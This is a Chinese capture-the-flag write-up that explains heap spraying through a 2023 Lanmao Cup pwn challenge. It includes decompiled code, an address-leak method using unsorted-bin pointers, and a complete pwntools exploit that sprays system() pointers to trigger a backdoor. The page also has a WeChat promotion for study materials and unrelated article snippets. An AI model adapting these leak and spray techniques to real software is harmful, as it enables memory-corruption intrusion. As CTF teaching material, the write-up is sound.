从2023蓝帽杯0解题heapSpary入门堆喷
关于堆喷
堆喷射(Heap Spraying)是一种计算机安全攻击技术,它旨在在进程的堆中创建多个包含恶意负载的内存块。这种技术允许攻击者避免需要知道负载确切的内存地址,因为通过广泛地“喷射”堆,攻击者可以提高恶意负载被成功执行的机会。
这种技术尤其用于绕过地址空间布局随机化(ASLR)和其他内存保护机制。对于利用浏览器和其他客户端应用程序的漏洞特别有效。
前言
此题为2023年蓝帽杯初赛0解pwn题,比赛的时候是下午放出的,很难在赛点完成该题,算是比较高难度的题,他的题目核心思想确实和题目名字一样,堆喷,大量的随机化和滑板指令思想,在赛后一天后完成了攻破。此题,不是因为0解我才觉得他有意义,是因为他的堆喷思想和实际在工作中的二进制利用是很贴合的,确实第一次打这种题。
题目分析
checksec
❯ checksec main [*] '/root/P-W-N/bulue/main' Arch: i386-32-little RELRO: Full RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled
保护全开,很常规。
这个题其实要是能迅速静态分析完,其实也能很快出,也算是给我上了一课,要是我的好大儿GXH在,估计是可以在比赛中成为唯一解的。
先来看整个程序是去了符号表,我们先在start那定位main函数,__libc_start_main第一个参数就是main函数地址
// positive sp value has been detected, the output may be wrong!
void __usercall __noreturn start(int a1@<eax>, void (*a2)(void)@<edx>)
{
int v2; // esi
int v3; // [esp-4h] [ebp-4h] BYREF
char *retaddr; // [esp+0h] [ebp+0h] BYREF
v2 = v3;
v3 = a1;
__libc_start_main(
(int (__cdecl *)(int, char **, char **))sub_1D64,
v2,
&retaddr,
(void (*)(void))sub_1D90,
(void (*)(void))sub_1E00,
a2,
&v3);
__halt();
}
这个main没什么好看的,快进到初始化和菜单
初始化如下
unsigned int sub_134D()
{
unsigned int result; // eax
unsigned int buf; // [esp+0h] [ebp-18h] BYREF
int fd; // [esp+4h] [ebp-14h]
int v3; // [esp+8h] [ebp-10h]
unsigned int v4; // [esp+Ch] [ebp-Ch]
v4 = __readgsdword(0x14u);
setbuf(stdin, 0);
setbuf(stdout, 0);
setbuf(stderr, 0);
fd = open("/dev/urandom", 0);
if ( fd < 0 || read(fd, &buf, 4u) < 0 )
exit(0);
close(fd);
srand(buf);
v3 = rand();
malloc(4 * (v3 % 1638));
result = __readgsdword(0x14u) ^ v4;
if ( result )
sub_1E10();
return result;
}
初始化影响不是很大,就是建了个随机大小的chunk,但是因为后续是不释放这个chunk其实没什么影响。
【----帮助网安学习,以下所有学习资料免费领!加vx:yj009991,备注“freebuf”获取!】
① 网安学习成长路径思维导图
② 60+网安经典常用工具包
③ 100+SRC漏洞分析报告
④ 150+网安攻防实战技术电子书
⑤ 最权威CISSP 认证考试指南+题库
⑥ 超1800页CTF实战技巧手册
⑦ 最新网安大厂面试题合集(含答案)
⑧ APP客户端安全检测指南(安卓+IOS)
来看菜单,4是不存在的虚空功能
int sub_15E4()
{
puts("========Welcome to new heap game========");
puts("1. Create Heap.");
puts("2. Show Heap.");
puts("3. Delete Heap.");
puts("4. Change Heap.");
puts("5. Action.");
puts("6. Exit.");
return printf("Please give me your choose : ");
}
我们直接来先看看后门函数5
int sub_1C14()
{
int result; // eax
unsigned int v1; // [esp+Ch] [ebp-1Ch]
int v2; // [esp+10h] [ebp-18h]
printf("Please input heap index : ");
v1 = sub_1461();
if ( v1 > 0xFFF || !dword_4060[2 * v1] )
return puts("Error happened.");
v2 = dword_4060[2 * v1 + 1] + dword_4060[2 * v1];
if ( !**(_DWORD **)v2 )
return (*(int (__cdecl **)(const char *))(*(_DWORD *)v2 + 4))("cat flag");
result = *(_DWORD *)v2;
--**(_DWORD **)v2;
return result;
}
关于地址0x4060这个地方前面存的是堆的地址,后面是堆的大小,堆数量上限在0xFFF。
来看看v2 = dword_4060[2 * v1 + 1] + dword_4060[2 * v1];
这个就是取堆地址然堆地址加堆大小(可控输入任意值)然后赋值到v2,比如
0x565a1060: 0x57aebf90 0x00000100
得到的就是0x57aec090
然后对0x57aec090里面存放的地址进行一个内存检测操作,如果前4位为0就执行后门,取0x57aec090内的地址的内存的后四位进行指针函数调用。此时链表如下
0x57aec090 —▸ 0x57aeb300 ◂— 0x0
0x57aeb300内存如下(0xf7d99781为system地址)
pwndbg> x/32wx 0x57aeb300 0x57aeb300: 0x00000000 0xf7d99781 0x00000000 0xf7d99781
分析完后门了,我们去看看add功能。可以看见是非常的长的,然后重点在于Switch选择和sub_14BA函数
_DWORD *sub_1690()
{
_DWORD *result; // eax
int i; // [esp+4h] [ebp-34h]
int k; // [esp+8h] [ebp-30h]
int j; // [esp+Ch] [ebp-2Ch]
int m; // [esp+10h] [ebp-28h]
int v5; // [esp+14h] [ebp-24h]
int v6; // [esp+18h] [ebp-20h]
int v7; // [esp+1Ch] [ebp-1Ch]
for ( i = 0; i <= 254 && dword_4060[i * dword_400C * dword_4008]; ++i )
;
if ( (int *)i == off_4010 )
return (_DWORD *)puts("Ooops! Here is no space for you.");
printf("How much space do you need : ");
v5 = sub_1461();
if ( v5 <= 0 || v5 > 0x20000 )
return (_DWORD *)printf("Ooops! I can't allocate these spaces to you.");
for ( j = 0; j <= 15; ++j )
{
for ( k = rand() % 16; dword_4060[dword_4008 * (k + i * dword_400C)]; k = (k + 1) % 16 )
;
dword_4060[dword_4008 * (k + i * dword_400C)] = malloc(v5 + 4);
dword_4060[(k + i * dword_400C) * dword_4008 + 1] = v5;
if ( !dword_4060[dword_4008 * (k + i * dword_400C)] )
{
puts("Ooops! Some error happened.");
exit(-1);
}
}
for ( m = 0; m <= 15; ++m )
{
puts("Please input your head data.");
sub_14BA((char *)dword_4060[dword_4008 * (m + i * dword_400C)], dword_4060[(m + i * dword_400C) * dword_4008 + 1]);
puts("Which flag do you want?");
v6 = sub_1461();
v7 = dword_4060[(m + i * dword_400C) * dword_4008 + 1] + dword_4060[dword_4008 * (m + i * dword_400C)];
switch ( v6 )
{
case 1:
*(_BYTE *)v7 = (unsigned __int8)sub_1528 + 0xFFFFC064 + (unsigned __int8)&off_3F9C - 4;
*(_WORD *)(v7 + 1) = (unsigned int)sub_1528 >> 8;
*(_BYTE *)(v7 + 3) = (unsigned int)sub_1528 >> 24;
break;
case 2:
*(_BYTE *)v7 = (unsigned __int8)sub_1557 - 16284 + (unsigned __int8)&off_3F9C - 4;
*(_WORD *)(v7 + 1) = (unsigned int)sub_1557 >> 8;
*(_BYTE *)(v7 + 3) = (unsigned int)sub_1557 >> 24;
break;
case 3:
*(_BYTE *)v7 = (unsigned __int8)sub_1586 - 16284 + (unsigned __int8)&off_3F9C - 4;
*(_WORD *)(v7 + 1) = (unsigned int)sub_1586 >> 8;
*(_BYTE *)(v7 + 3) = (unsigned int)sub_1586 >> 24;
break;
case 4:
*(_BYTE *)v7 = (unsigned __int8)sub_15B5 - 16284 + (unsigned __int8)&off_3F9C - 4;
*(_WORD *)(v7 + 1) = (unsigned int)sub_15B5 >> 8;
*(_BYTE *)(v7 + 3) = (unsigned int)sub_15B5 >> 24;
break;
}
}
printf("Heap create from : %d to %d\n", 16 * i, 16 * (i + 1) - 1);
result = dword_4040;
dword_4040[0] = i;
return result;
}
我们先看看sub_14BA函数,可以看见逻辑是无限读入,存在堆溢出,后续堆喷滑动要用上。在输入的最后末尾都会变成0截断符,相当于带有一个off by null,但是这里也用不上的,核心在于堆块bin构造,要非常熟悉bin的回收机制,还有利用好下面的Switch选择来把0截断给绕过。
int __cdecl sub_14BA(char *buf, int a2)
{
while ( a2 )
{
if ( read(0, buf, 1u) != 1 )
exit(-1);
if ( *buf == 10 )
{
*buf = 0;
break;
}
++buf;
}
*buf = 0;
return 0;
}
我们来继续看这个Switch选择,其实4个选项都是差不多的只是返回值的地址不一样而已,调一个就好了。
他会对所有的在0x4060上的chunk都进行赋值操作,我们先重点关注下v7的取值
dword_4060[(m + i * dword_400C) * dword_4008 + 1] + dword_4060[dword_4008 * (m + i * dword_400C)];
可以看见v7的取值一样是堆的起始地址加上我们的大小,注意注意,这个大小是我们自己输入的,也就是可以打1,2,3.....
如果是这样的话比如我们的起始地址是0x100,大小是输入了1,内容输入的是a,那么经过下面的case 1操作
case 1: *(_BYTE *)v7 = (unsigned __int8)sub_1528 + 0xFFFFC064 + (unsigned __int8)&off_3F9C - 4; *(_WORD *)(v7 + 1) = (unsigned int)sub_1528 >> 8; *(_BYTE *)(v7 + 3) = (unsigned int)sub_1528 >> 24;
就会得到内容如下(此处字节码只做替代作用,非真实情况)
0x100:a 0x101:\x01 0x102:\x02 0x103:\x03 0x104:\x04 (本应是libc or heap 但是由于v7取的是起始地址加大小刚好覆盖了一位地址,但是无所谓,低三位随便盖) 0x105:libc or heap 0x106:libc or heap 0x107:libc or heap
要是不去调用这4个case中的任一一个,就会变成如下,最后就会因为之前的溢出读入函数导致末尾强行加上了截断符
0x100:a 0x101:\x00 0x102:libc or heap ..................
也就是说,只要把握好一个堆块的BK指针存储上堆地址或者libc地址就能通过申请的时候申请大小为1的堆块(实际为0x10)来绕过0截断,进而泄露地址。
对于这个chunk 构造,我是直接选择了非常暴力的操作,因为他一次性add操作会直接申请16个chunk,free的时候是全free。
所以泄露操作的exp如下,直接破坏他们的链表
create_heap(0xa0, b'1','data',4) create_heap(1, b'1','data',4) create_heap(0x60, b'1','data',4) create_heap(1, b'1','data',4) delete_heap() delete_heap() delete_heap() delete_heap() create_heap(1, b'1','data',4) create_heap(1, b'1','data',4) create_heap(1, b'1','data',4)
bin如下
pwndbg> bin tcachebins 0x10 [ 7]: 0x579aeaf0 —▸ 0x579aeae0 —▸ 0x579aeab0 —▸ 0x579aead0 —▸ 0x579aeaa0 —▸ 0x579aea70 —▸ 0x579aea60 ◂— 0x0 0x70 [ 7]: 0x579ae5e0 —▸ 0x579ae880 —▸ 0x579ae810 —▸ 0x579ae7a0 —▸ 0x579ae730 —▸ 0x579ae570 —▸ 0x579ae500 ◂— 0x0 0xb0 [ 7]: 0x579aded0 —▸ 0x579adb60 —▸ 0x579ada00 —▸ 0x579ad950 —▸ 0x579ad740 —▸ 0x579ad8a0 —▸ 0x579ae030 ◂— 0x0 fastbins 0x10: 0x579ae288 —▸ 0x579ae258 —▸ 0x579ae248 —▸ 0x579ae238 —▸ 0x579ae328 ◂— ... unsortedbin all [corrupted] FD: 0x579ae0d8 —▸ 0x579adf78 —▸ 0x579adc08 —▸ 0x579adaa8 —▸ 0x579ad7e8 ◂— ... BK: 0x579ae8e8 —▸ 0x579ae338 —▸ 0x579ae648 —▸ 0x579ad7e8 —▸ 0x579adaa8 ◂— ... smallbins empty largebins empty pwndbg>
此时就会出现如下的神仙堆块,这就是我们要的最完美的堆块
Free chunk (unsortedbin) | PREV_INUSE Addr: 0x579ae8e8 Size: 0x151 fd: 0xf7f48778 bk: 0x579ae338
但是要明白一点,unsortedbin可不止这一个,而且他不是每次都一定处于链表的头部的,所以还要写一个全输出和筛选操作
# Assuming leak_all is defined as an empty list before this leak_all = [] heap_addr = None libc_base = None for i in range(46): leak = leak_libc(i) if leak > 0x56000000: leak_all.append(leak) print(hex(leak))# Assigning values to heap_addr and libc_base if heap_addr is None and leak < 0xf7000000: heap_addr = leak+0x1000-0x56 elif libc_base is None and leak > 0xf7000000: libc_base = leak-0x1eb756
这样就可以稳定的获得libc,和一个堆地址。
然后经过内存调试发现,该堆地址在有一定概率在后续申请的堆块的下面,我们可以进行栈溢出覆盖该堆地址的内容,完成上面后门要求的条件。
所以,直接进行堆喷覆盖,index为0的chunk+0x100肯定在自己的下面,我们要考虑爆破的只有堆风水和上面泄露的heap_addr是不是也在index为0的chunk后面就行了,对于这个问题就交给运气吧,爆就完事了。
tips:(上面的堆风水是因为,他的add的时候用了random瞎赋值下标干扰程序增强随机化导致的,有时候链表不是我想的那么完美有可能踩值会踩不到 0x580e97a0 —▸ 0x580e8900 ◂— 0 ,会变成0x580e97a0 —▸ 0x580e8900 ◂— 0x580e8900 这就是因为堆风水导致padding不稳定,)
# Checking the assigned values
print("heap_addr:", hex(heap_addr))
print("libc_base:", hex(libc_base))
sys=libc_base+libc.sym['system']
pay=p32(0)+p32(sys)+p32(heap_addr)*0x330+(p32(0)+p32(sys))*0x1000
create_heap(0x100, pay,pay,0)
p.sendlineafter("Please give me your choose : ", "5")
p.sendlineafter("Please input heap index : ", "0")
exp
from pwn import *
# 连接到题目提供的服务端
p = process('./main')
context.log_level='debug'
libc=ELF('/root/P-W-N/bulue/glibc-all-in-one/libs/2.31-0ubuntu9.9_i386/libc.so.6')
def create_heap(size, data,data2,flag):
p.sendlineafter("Please give me your choose : ", "1")
p.sendlineafter("How much space do you need : ", str(size))
p.sendlineafter("Please input your head data.", data)
p.sendlineafter("Which flag do you want?", str(flag))
for _ in range(15):
p.sendlineafter("Please input your head data.", data2)
p.sendlineafter("Which flag do you want?", str(flag))
def delete_heap():
p.sendlineafter("Please give me your choose : ", "3")
all_leak=[]
def leak_libc(idx):
p.sendlineafter("Please give me your choose : ", "2")
p.sendlineafter("Please input heap index : ", str(idx))
p.recvuntil("Heap information is ")
p.recv(4)
leak = u32(p.recv(4).ljust(4,b'\x00'))
return leak
gdb.attach(p,'b *$rebase(0x01C9E)')
#构建理想chunk,bk带有堆指针或libc指针,这种chunk可以批发的
create_heap(0xa0, b'1','data',4)
create_heap(1, b'1','data',4)
create_heap(0x60, b'1','data',4)
create_heap(1, b'1','data',4)
delete_heap()
delete_heap()
delete_heap()
delete_heap()
#申请小chunk 疯狂切割,直接一点点带出来
create_heap(1, b'1','data',4)
create_heap(1, b'1','data',4)
create_heap(1, b'1','data',4)
# Assuming leak_all is defined as an empty list before this
leak_all = []
heap_addr = None
libc_base = None
for i in range(46):
leak = leak_libc(i)
if leak > 0x56000000:
leak_all.append(leak)
print(hex(leak))# Assigning values to heap_addr and libc_base
if heap_addr is None and leak < 0xf7000000:
heap_addr = leak+0x1000-0x56
elif libc_base is None and leak > 0xf7000000:
libc_base = leak-0x1eb756
delete_heap()
delete_heap()
delete_heap()
# Checking the assigned values
print("heap_addr:", hex(heap_addr))
print("libc_base:", hex(libc_base))
sys=libc_base+libc.sym['system']
#堆风水随缘padding,最后的p32(0)+p32(sys)是因为要满足后门格式,由于我们不可能得到具体的距离,只能用滑板思想批量填充滑动
pay=p32(0)+p32(sys)+p32(heap_addr)*0x330+(p32(0)+p32(sys))*0x1000
create_heap(0x100, pay,pay,0)
p.sendlineafter("Please give me your choose : ", "5")
p.sendlineafter("Please input heap index : ", "0")
p.interactive()

相关文章:
从2023蓝帽杯0解题heapSpary入门堆喷
关于堆喷 堆喷射(Heap Spraying)是一种计算机安全攻击技术,它旨在在进程的堆中创建多个包含恶意负载的内存块。这种技术允许攻击者避免需要知道负载确切的内存地址,因为通过广泛地“喷射”堆,攻击者可以提高恶意负载被…...
基于SSM的学生宿舍管理系统设计与实现
末尾获取源码 开发语言:Java Java开发工具:JDK1.8 后端框架:SSM 前端:采用JSP技术开发 数据库:MySQL5.7和Navicat管理工具结合 服务器:Tomcat8.5 开发软件:IDEA / Eclipse 是否Maven项目&#x…...
jvm 内存模型介绍
一、类加载子系统 1、类加载的过程:装载、链接、初始化,其中,链接又分为验证、准备和解析 装载:加载class文件 验证:确保字节流中包含信息符合当前虚拟机要求 准备:分配内存,设置初始值 解析&a…...
用Jmeter进行压测详解
简介: 1.概述 一款工具,功能往往是很多的,细枝末节的地方也很多,实际的测试工作中,绝大多数场景会用到的也就是一些核心功能,根本不需要我们事无巨细的去掌握工具的所有功能。所以本文将用带价最小的方式讲…...
Mysql001:(库和表)操作SQL语句
目录: 》SQL通用规则说明 SQL分类: 》DDL(数据定义:用于操作数据库、表、字段) 》DML(数据编辑:用于对表中的数据进行增删改) 》DQL(数据查询:用于对表中的数…...
甲骨文全区登录地址
日本东部 东京 https://console.ap-tokyo-1.oraclecloud.com https://console.ap-tokyo-1.oraclecloud.com 日本中部 大阪 https://console.ap-osaka-1.oraclecloud.com https://console.ap-osaka-1.oraclecloud.com 韩国中部 首尔 https://console.ap-seoul-1.oraclecloud.c…...
Java面试题第八天
一、Java面试题第八天 1.如何实现对象克隆? 浅克隆 浅克隆就是我们可以通过实现Cloneable接口,重写clone,这种方式就叫浅克隆,浅克隆 引用类型的属性,是指向同一个内存地址,但是如果引用类型的属性也进行浅克隆就是深…...
什么是同步容器和并发容器的实现?
同步容器和并发容器都是用于在多线程环境中管理数据的容器,但它们在实现和用法上有很大的区别。 同步容器: 同步容器是使用传统的同步机制(如synchronized关键字或锁)来保护容器内部数据结构的线程安全容器。同步容器通常是单线…...
学Python的漫画漫步进阶 -- 第十六步
学Python的漫画漫步进阶 -- 第十六步 十六、多线程16.1 线程相关的知识16.1.1 进程16.1.2 线程16.1.3 主线程 16.2 线程模块——threading16.3 创建子线程16.3.1 自定义函数实现线程体16.3.2 自定义线程类实现线程体 16.4 线程管理16.4.1 等待线程结束16.4.2 线程停止 16.5 动动…...
MySQL 8.0 OCP (1Z0-908) 考点精析-架构考点5:数据字典(Data Dictionary)
文章目录 MySQL 8.0 OCP (1Z0-908) 考点精析-架构考点5:数据字典(Data Dictionary)File-based Metadata Storage (基于文件的元数据存储)Transactional Data Dictionary (事务数据字典)Serialized Dictionary Informat…...
7分钟了解ChatGPT是如何运作的
ChatGPT是现在最为热门的聊天助手应用,它使用了一个大型语言模型(LLM),即GPT-3.5。它通过大量的文本数据进行训练,以理解和生成人类语言。但是,你是否有了解过ChatGPT是如何运作的吗? 下面我们就一起通过这个视频来一起…...
蓝桥杯打卡Day8
文章目录 C翻转矩阵幂 一、C翻转IO链接 本题思路:本题需要找出顺时针旋转和逆时针旋转的规律,然后就可以解决该问题。 矩阵顺时针90旋转规律:列号变为行号,(n-行号-1)变为列号 规律:a[i][j]b[j][n-i1]; 矩阵逆时针90旋转规律:行号变为列号࿰…...
React 学习笔记目录
学习使用的开发工具 编译器 VSCode 开发语言工具 TypeScript /JavaScript 重要程度分类 一般 这个程度的知识点主要是达到熟练掌握即可,不用太深入研究和学习。 重要 这个程度的知识点主要是达到熟练掌握,并且内部的原理切要熟记,因为会关…...
一起Talk Android吧(第五百五十一回:如何自定义SplashScreen)
文章目录 概念介绍实现方法修改启动页中的内容修改启动页显示时间修改启动面消失时的页面各位看官们大家好,上一回中咱们说的例子是"如何适配SplashScreen",本章回中介绍的例子是" 如何自定义SplashScreen"。闲话休提,言归正转,让我们一起Talk Android…...
PYTHON-模拟练习题目集合
🌈write in front🌈 🧸大家好,我是Aileen🧸.希望你看完之后,能对你有所帮助,不足请指正!共同学习交流. 🆔本文由Aileen_0v0🧸 原创 CSDN首发🐒 如…...
UE5学习笔记(1)——从源码开始编译安装UE5
目录 0. 前期准备1. Git bash here2. 克隆官方源码。3. 选择安装分支4. 运行Setup.bat,下载依赖文件5. 运行GenerateProjectFiles.bat生成工程文件6. 生成完成,找到UE5.sln/UE4.sln7. 大功告成 0. 前期准备 0.1 在windows的话,建议装一个Git…...
DP读书:《openEuler操作系统》(二)操作系统的发展史
操作系统的发展历史 操作系统的发展历史手工操作时代批处理系统多道程序系统分时操作系统CTSSMULTICS的历史UNIX和Linux的历史Debian系列Red Hat系列 DOS和Windows的历史DOS的历史:Windows的历史: Android和iOS的历史Android:iOS:…...
SQL sever中相关查询
目录 一、简单查询 二、条件查询 三、别名查询 四、分组查询 五、排序查询 六、去重查询 七、分页查询 八、模糊查询 九、表连接查询 十、子查询 十一、嵌套查询 一、简单查询 简单查询是最基本的查询类型,用于从数据库中选择特定列或所有列的数据。 1…...
Java手写IO流和案例拓展
Java手写IO流和案例拓展 1. 手写IO流的必要性 在Java编程中,IO流是非常重要的概念。尽管Java已经提供了许多现成的IO类和方法,但是了解IO流的底层实现原理,能够手写IO流是非常有必要的。手写IO流可以帮助我们更深入地理解IO的工作原理&…...
Linux入门教程||Linux 文件与目录管理
我们知道Linux的目录结构为树状结构,最顶级的目录为根目录 /。 其他目录通过挂载可以将它们添加到树中,通过解除挂载可以移除它们。 在开始本教程前我们需要先知道什么是绝对路径与相对路径。 绝对路径: 路径的写法,由根目录 /…...
设计模式和设计原则回顾
设计模式和设计原则回顾 23种设计模式是设计原则的完美体现,设计原则设计原则是设计模式的理论基石, 设计模式 在经典的设计模式分类中(如《设计模式:可复用面向对象软件的基础》一书中),总共有23种设计模式,分为三大类: 一、创建型模式(5种) 1. 单例模式(Sing…...
循环冗余码校验CRC码 算法步骤+详细实例计算
通信过程:(白话解释) 我们将原始待发送的消息称为 M M M,依据发送接收消息双方约定的生成多项式 G ( x ) G(x) G(x)(意思就是 G ( x ) G(x) G(x) 是已知的)࿰…...
Linux简单的操作
ls ls 查看当前目录 ll 查看详细内容 ls -a 查看所有的内容 ls --help 查看方法文档 pwd pwd 查看当前路径 cd cd 转路径 cd .. 转上一级路径 cd 名 转换路径 …...
在Ubuntu中设置开机自动运行(sudo)指令的指南
在Ubuntu系统中,有时需要在系统启动时自动执行某些命令,特别是需要 sudo权限的指令。为了实现这一功能,可以使用多种方法,包括编写Systemd服务、配置 rc.local文件或使用 cron任务计划。本文将详细介绍这些方法,并提供…...
让AI看见世界:MCP协议与服务器的工作原理
让AI看见世界:MCP协议与服务器的工作原理 MCP(Model Context Protocol)是一种创新的通信协议,旨在让大型语言模型能够安全、高效地与外部资源进行交互。在AI技术快速发展的今天,MCP正成为连接AI与现实世界的重要桥梁。…...
Maven 概述、安装、配置、仓库、私服详解
目录 1、Maven 概述 1.1 Maven 的定义 1.2 Maven 解决的问题 1.3 Maven 的核心特性与优势 2、Maven 安装 2.1 下载 Maven 2.2 安装配置 Maven 2.3 测试安装 2.4 修改 Maven 本地仓库的默认路径 3、Maven 配置 3.1 配置本地仓库 3.2 配置 JDK 3.3 IDEA 配置本地 Ma…...
学校时钟系统,标准考场时钟系统,AI亮相2025高考,赛思时钟系统为教育公平筑起“精准防线”
2025年#高考 将在近日拉开帷幕,#AI 监考一度冲上热搜。当AI深度融入高考,#时间同步 不再是辅助功能,而是决定AI监考系统成败的“生命线”。 AI亮相2025高考,40种异常行为0.5秒精准识别 2025年高考即将拉开帷幕,江西、…...
RSS 2025|从说明书学习复杂机器人操作任务:NUS邵林团队提出全新机器人装配技能学习框架Manual2Skill
视觉语言模型(Vision-Language Models, VLMs),为真实环境中的机器人操作任务提供了极具潜力的解决方案。 尽管 VLMs 取得了显著进展,机器人仍难以胜任复杂的长时程任务(如家具装配),主要受限于人…...
深入理解Optional:处理空指针异常
1. 使用Optional处理可能为空的集合 在Java开发中,集合判空是一个常见但容易出错的场景。传统方式虽然可行,但存在一些潜在问题: // 传统判空方式 if (!CollectionUtils.isEmpty(userInfoList)) {for (UserInfo userInfo : userInfoList) {…...
图解JavaScript原型:原型链及其分析 | JavaScript图解
忽略该图的细节(如内存地址值没有用二进制) 以下是对该图进一步的理解和总结 1. JS 对象概念的辨析 对象是什么:保存在堆中一块区域,同时在栈中有一块区域保存其在堆中的地址(也就是我们通常说的该变量指向谁&…...
